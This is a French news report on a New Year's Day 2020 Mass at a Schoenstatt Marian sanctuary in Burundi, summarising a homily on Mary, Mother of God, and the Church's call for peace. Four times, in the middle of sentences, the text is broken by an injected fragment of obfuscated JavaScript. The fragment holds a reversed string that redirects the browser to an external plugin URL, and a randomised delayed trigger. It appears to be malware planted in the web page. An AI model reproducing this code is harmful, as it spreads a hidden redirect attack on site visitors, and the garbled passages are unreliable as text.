La sainte Messe du premier janvier 2020 a été présidée par le Père Marcien Ndayizeye, actuellement Vice-Recteur du Sanctuaire Marial de Schoenstatt de Mont Sion Gikungu. Il a tout d’abord invité tout un chacun à se regarder avant de se saluer et de se souhaiter les Vœux les Meilleurs pour l’année 2020 que nous avions commencée il y avait seulement dix heures.

Après la lecture de l’Evangile selon saint Luc 2, 16-27, le Père Marcien a signifié que l’Eglise célèbre la fête de Marie, Mère de Dieu. Elle est venue à cette affirmation parce qu’il y avait deux tendances sur la façon de concevoir qui est Marie. Certains disaient que Marie était seulement mère de Jésus et non mère de Dieu. D’autres voyaient en elle à la fois la mère de Jésus et mère de Dieu. C’est ainsi que le Concile de Constantinople des années trois cents de notre ère a déclaré que Marie est Mère de Dieu, ce qui fut mis au cretoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do jusqu’à nos jours. Nous sommes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donc venus remercier cette Mère qui a accepté d’enfanter pour nous un Sauveur, a-t-il continué.

Comme nous sommes tout juste au début d’une nouvelle année, nous voulons aussi demander à Dieu de continuer à nous assister au cours de cette année 2020. Que nous apprenions à bénir le peuple de Dieu comme la première lecture nous l’a appris. Cet acte de bénir ne toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doit pas s’arrêter seulement dans l’église, il toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doit s’étendre jusqu’en nos familles entre époux et épouse, parents et enfants, au service et partout où nous passons, a lancé le célébrant.

Dans l’Evangile, nous avons entendu que les bergers sont accourus vers la crèche voir ce que l’ange leur avait annoncé. A leur arrivée, ils ont été étonnés de voir les choses exactement telles qu’il leur avait été dit. Nous aussi nous devrions contempler Dieu et ses hauts faits jusqu’à l’étonnement. L’Eglise nous invite à prier pour la paix durable, et celle-ci ne vienne que de Dieu. Les Burundais sont parmi peu de citoyens qui se souhaitent la paix en se saluant dans des circonstances ordinaires et même dans des fêtes, et nous ferons bien de garder cette formule. Selon le Pape François, certains obstacles freinent la paix. Le Père Marcien NDAYIZEYE a cité entre autre le soupçon, la peur intérieure et la vengeance. De tout cela, nous devons cultiver l’amour et la fraternité des enfants de Dieu. Cette dernière est rendue possible quand il y a dialogue sincère entre différentes couches sociales dans le respect et la confiance.

Méthode Nyandwi

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